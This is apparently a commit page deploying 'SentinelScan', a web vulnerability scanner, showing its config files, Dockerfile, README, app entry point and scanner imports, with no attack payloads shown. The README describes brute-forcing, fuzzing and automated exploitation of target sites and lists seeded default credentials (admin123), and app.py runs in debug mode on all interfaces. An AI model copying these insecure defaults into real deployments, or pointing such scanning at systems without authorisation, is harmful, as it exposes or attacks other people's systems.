larxius commited on
Commit
d543fc1
·
verified ·
1 Parent(s): 886b97e

Deploy SentinelScan WSS to HF Spaces

Browse files
This view is limited to 50 files because it contains too many changes.   See raw diff
Files changed (50) hide show
  1. .env.example +35 -0
  2. .gitattributes +7 -0
  3. .gitignore +77 -0
  4. Dockerfile +48 -0
  5. README.md +254 -10
  6. app.py +41 -0
  7. backend/scanners/__init__.py +453 -0
  8. backend/scanners/admin_panel_scanner.py +195 -0
  9. backend/scanners/ai_remediation_scanner.py +401 -0
  10. backend/scanners/api_scanner.py +169 -0
  11. backend/scanners/api_security_scanner.py +538 -0
  12. backend/scanners/attack_surface_scanner.py +227 -0
  13. backend/scanners/auth_scanner.py +506 -0
  14. backend/scanners/base_scanner.py +694 -0
  15. backend/scanners/blind_xss_scanner.py +126 -0
  16. backend/scanners/broken_link_scanner.py +256 -0
  17. backend/scanners/business_logic_scanner.py +493 -0
  18. backend/scanners/bypass_403_scanner.py +156 -0
  19. backend/scanners/cache_control_scanner.py +69 -0
  20. backend/scanners/cache_poisoning_scanner.py +194 -0
  21. backend/scanners/cert_transparency_scanner.py +70 -0
  22. backend/scanners/clickjacking_scanner.py +179 -0
  23. backend/scanners/cloud_scanner.py +62 -0
  24. backend/scanners/cms_scanner.py +207 -0
  25. backend/scanners/command_injection_scanner.py +386 -0
  26. backend/scanners/compliance_scanner.py +227 -0
  27. backend/scanners/cookie_scanner.py +355 -0
  28. backend/scanners/core/__init__.py +6 -0
  29. backend/scanners/core/baseline.py +152 -0
  30. backend/scanners/core/confidence.py +128 -0
  31. backend/scanners/core/signatures.py +268 -0
  32. backend/scanners/cors_scanner.py +278 -0
  33. backend/scanners/crlf_scanner.py +162 -0
  34. backend/scanners/csp_scanner.py +280 -0
  35. backend/scanners/csrf_scanner.py +495 -0
  36. backend/scanners/csti_scanner.py +186 -0
  37. backend/scanners/custom_website_scanner.py +288 -0
  38. backend/scanners/cve_scanner.py +169 -0
  39. backend/scanners/dependency_scanner.py +257 -0
  40. backend/scanners/deserialization_scanner.py +373 -0
  41. backend/scanners/directory_scanner.py +768 -0
  42. backend/scanners/dns_rebinding_scanner.py +267 -0
  43. backend/scanners/dns_security_scanner.py +279 -0
  44. backend/scanners/dom_xss_scanner.py +157 -0
  45. backend/scanners/email_security_scanner.py +90 -0
  46. backend/scanners/exif_scanner.py +63 -0
  47. backend/scanners/file_upload_scanner.py +442 -0
  48. backend/scanners/fuzzer_scanner.py +838 -0
  49. backend/scanners/git_exposure_scanner.py +132 -0
  50. backend/scanners/graphql_scanner.py +589 -0
.env.example ADDED
@@ -0,0 +1,35 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # ============================================================================
2
+ # SentinelScan (WSS) — Environment Variables
3
+ # Copy this file to .env and fill in your actual values.
4
+ # ============================================================================
5
+
6
+ # --- Flask ---
7
+ FLASK_ENV=development
8
+ JWT_SECRET=your-super-secret-jwt-key-here
9
+
10
+ # --- Database (GCP Cloud SQL — PostgreSQL) ---
11
+ DATABASE_URL=postgresql://user:password@host:5432/dbname
12
+
13
+ # --- Redis (Celery broker) ---
14
+ CELERY_BROKER_URL=redis://localhost:6379/0
15
+ CELERY_RESULT_BACKEND=redis://localhost:6379/0
16
+
17
+ # --- Firebase Cloud Storage ---
18
+ FIREBASE_CREDENTIALS=serviceAccountKey.json
19
+ FIREBASE_STORAGE_BUCKET=your-project-id.appspot.com
20
+
21
+ # --- Local uploads (fallback when Firebase is not configured) ---
22
+ # UPLOAD_FOLDER=./uploads/logos
23
+
24
+ # --- Email (Resend) ---
25
+ RESEND_API_KEY=re_your_resend_api_key
26
+
27
+ # --- Stripe (payments) ---
28
+ STRIPE_SECRET_KEY=sk_live_your_stripe_key
29
+
30
+ # --- External URLs ---
31
+ FRONTEND_URL=http://localhost:3000
32
+
33
+ # --- Scanner tuning ---
34
+ SCANNER_RATE_LIMIT=60
35
+ SCANNER_RATE_WINDOW=60
.gitattributes CHANGED
@@ -33,3 +33,10 @@ saved_model/**/* filter=lfs diff=lfs merge=lfs -text
33
  *.zip filter=lfs diff=lfs merge=lfs -text
34
  *.zst filter=lfs diff=lfs merge=lfs -text
35
  *tfevents* filter=lfs diff=lfs merge=lfs -text
 
 
 
 
 
 
 
 
33
  *.zip filter=lfs diff=lfs merge=lfs -text
34
  *.zst filter=lfs diff=lfs merge=lfs -text
35
  *tfevents* filter=lfs diff=lfs merge=lfs -text
36
+ frontend/public/larshieldlogowhite.png filter=lfs diff=lfs merge=lfs -text
37
+ frontend/public/logo.jpg filter=lfs diff=lfs merge=lfs -text
38
+ frontend/public/report_barchart.png filter=lfs diff=lfs merge=lfs -text
39
+ frontend/public/reports/API_Security_Assessment_Methodology.pdf filter=lfs diff=lfs merge=lfs -text
40
+ frontend/public/reports/Deep_Scan_Report.pdf filter=lfs diff=lfs merge=lfs -text
41
+ frontend/public/reports/Mobile_App_Penetration_Testing_Guide_2026.pdf filter=lfs diff=lfs merge=lfs -text
42
+ frontend/src/assets/Larxius[[:space:]]White[[:space:]]logo.jpg filter=lfs diff=lfs merge=lfs -text
.gitignore ADDED
@@ -0,0 +1,77 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # === Secrets / Credentials ===
2
+ .env
3
+ serviceAccountKey.json
4
+ *.pem
5
+ *.key
6
+
7
+ # === Python ===
8
+ __pycache__/
9
+ *.py[cod]
10
+ *$py.class
11
+ *.egg-info/
12
+ *.egg
13
+ dist/
14
+ build/
15
+ *.so
16
+ *.pyd
17
+
18
+ # === Virtual Environments ===
19
+ venv/
20
+ .venv/
21
+ env/
22
+ ENV/
23
+
24
+ # === IDE ===
25
+ .vscode/
26
+ .idea/
27
+ *.swp
28
+ *.swo
29
+ *~
30
+
31
+ # === OS ===
32
+ .DS_Store
33
+ Thumbs.db
34
+ desktop.ini
35
+
36
+ # === Logs ===
37
+ *.log
38
+ security_events.log
39
+
40
+ # === Pytest / Coverage ===
41
+ .pytest_cache/
42
+ .coverage
43
+ htmlcov/
44
+
45
+ # === Database (local SQLite) ===
46
+ *.db
47
+ *.sqlite3
48
+
49
+ # === Uploads (moved to Firebase Storage) ===
50
+ uploads/
51
+
52
+ # === Frontend build/dist ===
53
+ frontend/node_modules/
54
+ frontend/dist/
55
+ frontend/dist-ssr/
56
+
57
+ # === Migrations (unused scaffolding) ===
58
+ migrations/
59
+
60
+ # === Tools (scanner binaries, download at runtime) ===
61
+ Tools/
62
+
63
+ # === Brand assets (not runtime) ===
64
+ larxiius logo.jpg
65
+
66
+ # === Large doc artifacts ===
67
+ docs/*.pdf
68
+ docs/*.docx
69
+
70
+ # === Node ===
71
+ node_modules/
72
+
73
+ # === Misc ===
74
+ *.local
75
+ *.bak
76
+ *.tmp
77
+ *.orig
Dockerfile ADDED
@@ -0,0 +1,48 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # ============================================================================
2
+ # SentinelScan — Single-container build for Hugging Face Spaces
3
+ # Multi-stage: builds React frontend, then bundles with Flask backend
4
+ # ============================================================================
5
+
6
+ # --- Stage 1: Build React frontend ---
7
+ FROM node:20-alpine AS frontend-build
8
+
9
+ WORKDIR /app/frontend
10
+ COPY frontend/package.json frontend/package-lock.json* ./
11
+ RUN npm ci
12
+ COPY frontend/ .
13
+ RUN npm run build
14
+
15
+ # --- Stage 2: Python backend + built frontend ---
16
+ FROM python:3.11-slim
17
+
18
+ WORKDIR /app
19
+
20
+ # Install system deps: gcc (C extensions), nmap (Nmap scanner), libpq (psycopg2)
21
+ RUN apt-get update && apt-get install -y --no-install-recommends \
22
+ gcc \
23
+ libpq-dev \
24
+ nmap \
25
+ && rm -rf /var/lib/apt/lists/*
26
+
27
+ # Install Python dependencies
28
+ COPY requirements.txt .
29
+ RUN pip install --no-cache-dir -r requirements.txt
30
+
31
+ # Copy backend source
32
+ COPY backend/ backend/
33
+ COPY backend_structured/ backend_structured/
34
+ COPY app.py .
35
+ COPY .env.example .
36
+
37
+ # Copy built React frontend from Stage 1
38
+ COPY --from=frontend-build /app/frontend/dist/ frontend/dist/
39
+
40
+ # Production env defaults (HF Secrets override these at runtime)
41
+ ENV FLASK_ENV=production \
42
+ PYTHONUNBUFFERED=1
43
+
44
+ EXPOSE 7860
45
+
46
+ CMD ["gunicorn", "--bind", "0.0.0.0:7860", "--workers", "1", \
47
+ "--timeout", "300", "-k", "geventwebsocket.gunicorn.workers.GeventWebSocketWorker", \
48
+ "app:app"]
README.md CHANGED
@@ -1,10 +1,254 @@
1
- ---
2
- title: SentinelScan WSS
3
- emoji: 🏢
4
- colorFrom: yellow
5
- colorTo: yellow
6
- sdk: docker
7
- pinned: false
8
- ---
9
-
10
- Check out the configuration reference at https://huggingface.co/docs/hub/spaces-config-reference
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # 🛡️ SentinelScan — Website Security Scanner (WSS)
2
+
3
+ SentinelScan is a full-stack, enterprise-grade **Dynamic Application Security Testing (DAST)** platform designed to automate vulnerability detection across target domains and web APIs. Featuring a highly modular architecture, SentinelScan orchestrates a pipeline of custom security scanning agents concurrently, storing findings in a structured database and presenting them in a premium, real-time dashboard.
4
+
5
+ ---
6
+
7
+ ## 🚀 Key Features
8
+
9
+ * **Multi-Agent Concurrency**: Uses an asynchronous thread pool execution model (`ThreadPoolExecutor`) inside Celery tasks to run up to 17 specialized scanner modules in parallel.
10
+ * **Real-time Log Streaming**: Captures and exposes live, color-coded execution logs in-memory, enabling users to monitor active scans line-by-line.
11
+ * **Scheduled Scans**: Leverage Celery Beat to automate recurring scans (daily, weekly, monthly) for regular status monitoring.
12
+ * **Alert Webhooks**: Automatically dispatches security alerts to external services (e.g., Discord, custom webhooks) when critical or high vulnerabilities are discovered.
13
+ * **Authenticated Scanning**: Supports credentials/cookies injection via custom HTTP request headers, bypassing login perimeters to test deep backend routes.
14
+ * **Interactive Remediation**: Offers interactive, language-specific code remediation templates for each identified vulnerability type.
15
+ * **Dynamic PDF Reports**: Generates professional PDF summaries of completed scans, containing detailed risk score matrices and remediation guidelines.
16
+
17
+ ---
18
+
19
+ ## 📁 Directory Structure
20
+
21
+ ```text
22
+ Project-WSS/
23
+ ├── backend/ # Flask Backend Application
24
+ │ ├── app/ # Main Flask Application Package
25
+ │ │ ├── routes/ # REST API Endpoints & Route Blueprints
26
+ │ │ │ ├── auth.py # User Authentication (Login, Register)
27
+ │ │ │ ├── reports.py # PDF Generation and Scan Reports
28
+ │ │ │ ├── scans.py # Scan Configuration, Triggering, Logs
29
+ │ │ │ └── vulnerabilities.py # Remediation & Vulnerability Queries
30
+ │ │ ├── scanners/ # Security Engine Modules & Core Pipelines
31
+ │ │ │ ├── __init__.py # Pipeline Definitions and Class Dispatcher
32
+ │ │ │ ├── api_scanner.py # Exposed REST API Route Finder
33
+ │ │ │ ├── base_scanner.py # Abstract Base Class and Shared Log Utilities
34
+ │ │ │ ├── cloud_scanner.py # Public S3/Cloud Storage Auditor
35
+ │ │ │ ├── cors_scanner.py # CORS Misconfigurations Tester
36
+ │ │ │ ├── cve_scanner.py # Vulnerability Database Version Matcher
37
+ │ │ │ ├── directory_scanner.py# Directory/File brute-forcer
38
+ │ │ │ ├── fuzzer_scanner.py # SQLi & XSS Parameter Fuzzer
39
+ │ │ │ ├── headers_scanner.py # HTTP Security Headers & Cache Poisoning
40
+ │ │ │ ├── nmap_scanner.py # Port & Service Banner Scanner (via Nmap)
41
+ │ │ │ ├── nuclei_scanner.py # Nuclei Template-based Scanner
42
+ │ │ │ ├── robots_scanner.py # robots.txt Crawler
43
+ │ │ │ ├── secrets_scanner.py # Page Secrets/API Key Scanner
44
+ │ │ │ ├── sslyze_scanner.py # SSL/TLS Configurations & Ciphers Auditor
45
+ │ │ │ ├── subdomain_scanner.py# Subdomain DNS Enumerator
46
+ │ │ │ ├── tech_scanner.py # Technology Stack Fingerprinting
47
+ │ │ │ ├── waf_scanner.py # WAF Detection & Fingerprinting
48
+ │ │ │ ├── whois_scanner.py # Domain Registrar and Whois Lookup
49
+ │ │ │ └── zap_scanner.py # OWASP ZAP Active Spider Integration
50
+ │ │ ├── utils/ # Utility Scripts & Helpers
51
+ │ │ │ ├── pdf_generator.py # ReportLab PDF Generation
52
+ │ │ │ └── webhook.py # Discord & Webhook Dispatcher
53
+ │ │ ├── database.py # SQLAlchemy Extension Instance
54
+ │ │ ├── extensions.py # Rate Limiter & Security Extensions
55
+ │ │ ├── models.py # SQLAlchemy Database Models (SQLite/PostgreSQL)
56
+ │ │ └── scanner.py # Celery Tasks, Beat Schedules & Orchestration
57
+ │ ├── celery_app.py # Celery Broker and Beat Scheduler Configuration
58
+ │ ├── config.py # Environment Variable Parsing and App Constants
59
+ │ ├── requirements.txt # Python Dependencies List
60
+ │ ├── run.py # Flask Application Startup Launcher
61
+ │ └── .env # Local Environment Secret Key Configurations
62
+
63
+ ├── frontend/ # React Frontend Application (Vite-powered SPA)
64
+ │ ├── src/ # React Application Source
65
+ │ │ ├── assets/ # SVGs, Fonts, and Static UI Elements
66
+ │ │ ├── components/ # Reusable UI Components
67
+ │ │ │ ├── AuthContext.jsx # Global JWT Login State & API Interceptor
68
+ │ │ │ ├── CodeBlock.jsx # Syntax-highlighted Remediation Viewer
69
+ │ │ │ ├── Layout.jsx # Dashboard App Shell & Navigation Sidebar
70
+ │ │ │ ├── ProtectedRoute.jsx # Auth Check Router Wrapper
71
+ │ │ │ └── ThreatGauge.jsx # SVG Semi-circle Security Score Indicator
72
+ │ │ ├── pages/ # Top-level Routing View Pages
73
+ │ │ │ ├── Dashboard.jsx # Overview, Scan Metrics, and Status Cards
74
+ │ │ │ ├── LandingPage.jsx # Modern Dark Mode Promotional Marketing Page
75
+ │ │ │ ├── Login.jsx # Clean Secure Authentication Portal
76
+ │ │ │ ├── NewScan.jsx # Target, Pipeline and Cookie Configurations
77
+ │ │ │ ├── Register.jsx # Account Creation Portal
78
+ │ │ │ ├── ReportsHistory.jsx # Past Scan Lists and Export Center
79
+ │ │ │ ├── ScanResults.jsx # Vulnerability breakdown & Live terminal logs
80
+ │ │ │ └── Settings.jsx # Notification threshold & webhook configuration
81
+ │ │ ├── App.css # Main Layout styling
82
+ │ │ ├── App.jsx # Routing configuration
83
+ │ │ ├── index.css # Global theme tokens, inputs, animations
84
+ │ │ ├── main.jsx # DOM Injection root
85
+ │ │ ├── mockApi.js # Standalone local frontend mock testing DB
86
+ │ │ └── theme.css # Precision Sentinel palette values
87
+ │ ├── vite.config.js # React Hot Module Reloading server options
88
+ │ └── package.json # Frontend NPM scripts & dependencies
89
+
90
+ └── docker-compose.yml # Multi-container orchestrator (Redis service)
91
+ ```
92
+
93
+ ---
94
+
95
+ ## 🏛️ System Architecture
96
+
97
+ ```mermaid
98
+ graph TD
99
+ User([Security Auditor]) -->|Browser| FE[React Frontend SPA]
100
+ FE -->|API Requests| BE[Flask Web Backend]
101
+ BE -->|Store Scans/Vulns| DB[(SQLite / PostgreSQL)]
102
+ BE -->|Enqueue Jobs| Redis[(Redis Broker)]
103
+ Celery[Celery Task Workers] -->|Dequeue Jobs| Redis
104
+ Celery -->|Write Live Logs| MemLog[(In-Memory Logs)]
105
+ Celery -->|Execute Scanners Concurrently| Scanners{Scanner Suite}
106
+ Scanners -->|Target Requests| Target[Target System]
107
+ Scanners -->|Persist Findings| DB
108
+ Celery -->|Trigger Alert| Webhook[Webhook Notification]
109
+ ```
110
+
111
+ ### Backend Components
112
+ 1. **Flask (REST API)**: Exposes endpoints for managing accounts, starting scans, listing results, downloading PDFs, and tracking setting updates.
113
+ 2. **Celery Worker**: Dequeues scan tasks and runs them asynchronously.
114
+ 3. **ThreadPoolExecutor**: Multi-threads individual scanners inside a Celery task.
115
+ 4. **Celery Beat**: Runs continuously to process scheduled periodic scans.
116
+ 5. **Redis**: Acts as the fast in-memory message broker.
117
+
118
+ ---
119
+
120
+ ## 🗄️ Database Schema
121
+
122
+ The database schema, defined in `backend/app/models.py`, includes five main tables:
123
+
124
+ 1. **`User`**: Manages credential hashing (via `bcrypt`) and session links.
125
+ 2. **`Scan`**: Details the target domain, scan mode (Quick, Standard, Deep), authorization headers, overall security score, scan status, and timings.
126
+ 3. **`Vulnerability`**: Stores findings linked to a scan. Contains details like CVSS score, severity classification, category, description, and copy-pasteable remediation snippets.
127
+ 4. **`ScheduledScan`**: Saves user-configured scanning intervals (daily, weekly, monthly) for targets.
128
+ 5. **`AlertSettings`**: Manages notification flags, webhook URL destinations, and minimum severity thresholds.
129
+
130
+ ---
131
+
132
+ ## ⚙️ Scan Pipelines
133
+
134
+ Pipeline routes are configured in `backend/app/scanners/__init__.py`. Depending on the target criticality and scan duration limits, auditors choose between:
135
+
136
+ | Pipeline | Target Speed | Underlying Scanner Suite | Description |
137
+ | :--- | :--- | :--- | :--- |
138
+ | **`Quick`** | ~30 seconds | Headers, Nmap (top 100 ports), SSLyze, Tech stack, WHOIS, WAF | Surface audit for standard misconfigurations |
139
+ | **`Standard`** | ~2–3 minutes | Quick + SQLi/XSS Fuzzer, Subdomains, API pathways, Cloud, Secrets, CVEs | Comprehensive assessment of application business logic |
140
+ | **`Deep`** | ~10–15 minutes| Standard + CORS, robots.txt, Directory brute-force, Nuclei, ZAP (active) | Deep crawling and automated vulnerability exploitation |
141
+ | **`SSL`** | ~15 seconds | SSLyze, Headers | SSL certificate validation and cipher security audit |
142
+ | **`Port`** | ~45 seconds | Nmap (standard 1000 ports) | Port and network service banner reconnaissance |
143
+
144
+ ---
145
+
146
+ ## 🛠️ The Scanner Suite (17 Specialized Modules)
147
+
148
+ Each scanner inherits from `BaseScanner` (`backend/app/scanners/base_scanner.py`) which coordinates logging, domain parsing, and vulnerability formatting:
149
+
150
+ 1. **Headers Scanner (`headers_scanner.py`)**: Checks HTTP security headers (HSTS, CSP, CORS, X-Frame-Options, permissions, Referrer policy) and runs a custom check for HTTP host parameter cache poisoning.
151
+ 2. **Nmap Scanner (`nmap_scanner.py`)**: Fires `nmap` commands directly via sub-process, checking exposed network services and testing for vulnerabilities using script scanning banners.
152
+ 3. **SSLyze Scanner (`sslyze_scanner.py`)**: Audits SSL certificates, verifying trust status, expiration, and highlighting weak legacy protocols (TLS 1.0, SSLv3).
153
+ 4. **Tech Scanner (`tech_scanner.py`)**: Fingerprints backend technologies, libraries, servers, and frameworks.
154
+ 5. **Whois Scanner (`whois_scanner.py`)**: Looks up registrar information, IP ownership, and registration details.
155
+ 6. **WAF Scanner (`waf_scanner.py`)**: Detects the presence of firewalls (Cloudflare, AWS WAF, ModSecurity, etc.) by inspecting response indicators.
156
+ 7. **CORS Scanner (`cors_scanner.py`)**: Audits cross-origin resource sharing declarations to prevent credential leaks.
157
+ 8. **Robots Scanner (`robots_scanner.py`)**: Parses target `robots.txt` entries to extract hidden directories or disallowed routes.
158
+ 9. **Directory Scanner (`directory_scanner.py`)**: Brute-forces directories using wordlists to discover hidden panels (`/admin`, `/phpmyadmin`, `/api/v1`).
159
+ 10. **Fuzzer Scanner (`fuzzer_scanner.py`)**: Performs automated query parameter fuzzing, validating parameters against Cross-Site Scripting (XSS) and SQL Injection (SQLi) patterns.
160
+ 11. **API Scanner (`api_scanner.py`)**: Maps routing interfaces, documenting open APIs and JSON payloads.
161
+ 12. **Cloud Scanner (`cloud_scanner.py`)**: Audits exposed public storage assets (AWS S3 Buckets, Azure Blobs, etc.).
162
+ 13. **Secrets Scanner (`secrets_scanner.py`)**: Scrapes source HTML code for exposed keys, AWS access IDs, and connection credentials.
163
+ 14. **CVE Scanner (`cve_scanner.py`)**: Cross-references identified technology versions against public vulnerability registries.
164
+ 15. **Nuclei Scanner (`nuclei_scanner.py`)**: Performs targeted scans using ProjectDiscovery's template engine.
165
+ 16. **ZAP Scanner (`zap_scanner.py`)**: Coordinates deep active spider scanning via the OWASP ZAP API integration.
166
+ 17. **CORS/API Helper Scanners**: Secondary scanners focused on validation and authorization testing.
167
+
168
+ ---
169
+
170
+ ## 🚀 Setup & Local Execution
171
+
172
+ ### Prerequisites
173
+ * **Python 3.10+**
174
+ * **Node.js v18+**
175
+ * **Nmap** (must be added to system `PATH` environment variables)
176
+ * **Redis** (running locally on port `6379`)
177
+
178
+ ---
179
+
180
+ ### Step 1: Start Redis
181
+ You can run Redis using Docker:
182
+ ```bash
183
+ docker-compose up -d
184
+ ```
185
+
186
+ ---
187
+
188
+ ### Step 2: Configure and Start Backend
189
+
190
+ 1. Navigate to the backend directory:
191
+ ```bash
192
+ cd backend
193
+ ```
194
+ 2. Create a virtual environment and activate it:
195
+ ```bash
196
+ python -m venv venv
197
+ # On Windows:
198
+ venv\Scripts\activate
199
+ # On Unix/macOS:
200
+ source venv/bin/activate
201
+ ```
202
+ 3. Install dependencies:
203
+ ```bash
204
+ pip install -r requirements.txt
205
+ ```
206
+ 4. Verify your `.env` configuration. Ensure the keys and configurations are correct.
207
+ 5. Seed the database and start the API server:
208
+ ```bash
209
+ python run.py
210
+ ```
211
+ *The Flask application will start on `http://127.0.0.1:5000`.*
212
+
213
+ ---
214
+
215
+ ### Step 3: Launch Celery Workers & Beat
216
+ Keep your backend running, open two new terminal sessions (with the virtual environment activated), and run:
217
+
218
+ 1. **Celery Task Worker**:
219
+ ```bash
220
+ celery -A celery_app.celery worker --loglevel=info
221
+ ```
222
+ 2. **Celery Beat Scheduler**:
223
+ ```bash
224
+ celery -A celery_app.celery beat --loglevel=info
225
+ ```
226
+
227
+ ---
228
+
229
+ ### Step 4: Configure and Run Frontend
230
+
231
+ 1. Navigate to the frontend directory:
232
+ ```bash
233
+ cd ../frontend
234
+ ```
235
+ 2. Install npm modules:
236
+ ```bash
237
+ npm install
238
+ ```
239
+ 3. Start the Vite development server:
240
+ ```bash
241
+ npm run dev
242
+ ```
243
+ *The frontend application will boot on `http://localhost:5173`.*
244
+
245
+ ---
246
+
247
+ ## 🧪 Seeding and Testing
248
+
249
+ On the first initialization, the database is pre-seeded with a default user and dummy mock security scan data so you can preview the platform immediately:
250
+
251
+ * **Mock Account Email**: `admin@gmail.com`
252
+ * **Mock Account Password**: `admin123`
253
+
254
+ You can log in with these credentials, explore the interactive remediation code windows, trigger new scans, check your live-updating terminal dashboard logs, and download auto-generated PDF reports directly from the history view.
app.py ADDED
@@ -0,0 +1,41 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import os
2
+ import sys
3
+ from dotenv import load_dotenv
4
+
5
+ # Ensure environment variables are loaded
6
+ load_dotenv()
7
+
8
+ # Insert the backend module into the python path so its internal absolute imports work
9
+ sys.path.insert(0, os.path.abspath('backend_structured'))
10
+
11
+ # Import the application factory from our partitioned architecture
12
+ from backend_structured import create_app
13
+
14
+ # Initialize the Flask application
15
+ app = create_app()
16
+
17
+ # ---------------------------------------------------------------------------
18
+ # Serve the built React frontend (HF Spaces / single-container mode)
19
+ # In development the Vite dev-server proxies /api/ to Flask instead.
20
+ # ---------------------------------------------------------------------------
21
+ from flask import send_from_directory, abort
22
+
23
+ FRONTEND_DIR = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'frontend', 'dist')
24
+
25
+
26
+ @app.route('/', defaults={'path': ''})
27
+ @app.route('/<path:path>')
28
+ def serve_react(path):
29
+ """Serve React SPA. Static assets go to dist/, everything else → index.html."""
30
+ # Never intercept API or socket.io requests
31
+ if path.startswith('api/') or path.startswith('socket.io'):
32
+ abort(404)
33
+ if path and os.path.exists(os.path.join(FRONTEND_DIR, path)):
34
+ return send_from_directory(FRONTEND_DIR, path)
35
+ return send_from_directory(FRONTEND_DIR, 'index.html')
36
+
37
+
38
+ if __name__ == '__main__':
39
+ from backend_structured.extensions import socketio
40
+ port = int(os.getenv('PORT', 7860))
41
+ socketio.run(app, host='0.0.0.0', port=port, debug=True)
backend/scanners/__init__.py ADDED
@@ -0,0 +1,453 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ """
2
+ __init__.py — Scanner pipeline dispatcher.
3
+ Maps scan_type -> ordered list of scanner module classes.
4
+ """
5
+ from .headers_scanner import HeadersScanner
6
+ from .nmap_scanner import NmapScanner
7
+ from .sslyze_scanner import SslyzeScanner
8
+ from .tech_scanner import TechScanner
9
+ from .whois_scanner import WhoisScanner
10
+ from .fuzzer_scanner import FuzzerScanner
11
+ from .path_traversal_scanner import PathTraversalScanner
12
+ from .nikto_scanner import NiktoScanner
13
+ from .subdomain_scanner import SubdomainScanner
14
+ from .waf_scanner import WafScanner
15
+ from .cors_scanner import CorsScanner
16
+ from .robots_scanner import RobotsScanner
17
+ from .directory_scanner import DirectoryScanner
18
+ from .zap_scanner import ZapScanner
19
+ from .nuclei_scanner import NucleiScanner
20
+ from .api_scanner import ApiScanner
21
+ from .secrets_scanner import SecretsScanner
22
+ from .cloud_scanner import CloudScanner
23
+ from .cve_scanner import CveScanner
24
+ from .xxe_scanner import XxeScanner
25
+ from .ssrf_scanner import SsrfScanner
26
+ from .jwt_scanner import JwtScanner
27
+ from .idor_scanner import IdorScanner
28
+ from .graphql_scanner import GraphqlScanner
29
+ from .race_condition_scanner import RaceConditionScanner
30
+ from .request_smuggling_scanner import RequestSmugglingScanner
31
+ from .business_logic_scanner import BusinessLogicScanner
32
+ from .sql_injection_scanner import SqlInjectionScanner
33
+ from .websocket_scanner import WebsocketScanner
34
+ from .rate_limiting_scanner import RateLimitingScanner
35
+ from .whatweb_scanner import WhatWebScanner
36
+ from .dns_security_scanner import DNSSecurityScanner
37
+ from .custom_website_scanner import CustomWebsiteScanner
38
+ # ── Batch 1 (added previously) ────────────────────────────────────────────
39
+ from .ssti_scanner import SstiScanner
40
+ from .open_redirect_scanner import OpenRedirectScanner
41
+ from .cookie_scanner import CookieScanner
42
+ from .csrf_scanner import CsrfScanner
43
+ from .lfi_scanner import LfiScanner
44
+ # ── Batch 2 (new) ─────────────────────────────────────────────────────────
45
+ from .auth_scanner import AuthScanner
46
+ from .session_scanner import SessionScanner
47
+ from .csp_scanner import CspScanner
48
+ from .clickjacking_scanner import ClickjackingScanner
49
+ from .git_exposure_scanner import GitExposureScanner
50
+ from .dependency_scanner import DependencyScanner
51
+ from .attack_surface_scanner import AttackSurfaceScanner
52
+ from .compliance_scanner import ComplianceScanner
53
+ from .ai_remediation_scanner import AiRemediationScanner
54
+
55
+ # ── Batch 3: High Priority Gaps ───────────────────────────────────────────
56
+ from .subdomain_takeover_scanner import SubdomainTakeoverScanner
57
+ from .host_header_scanner import HostHeaderScanner
58
+ from .deserialization_scanner import DeserializationScanner
59
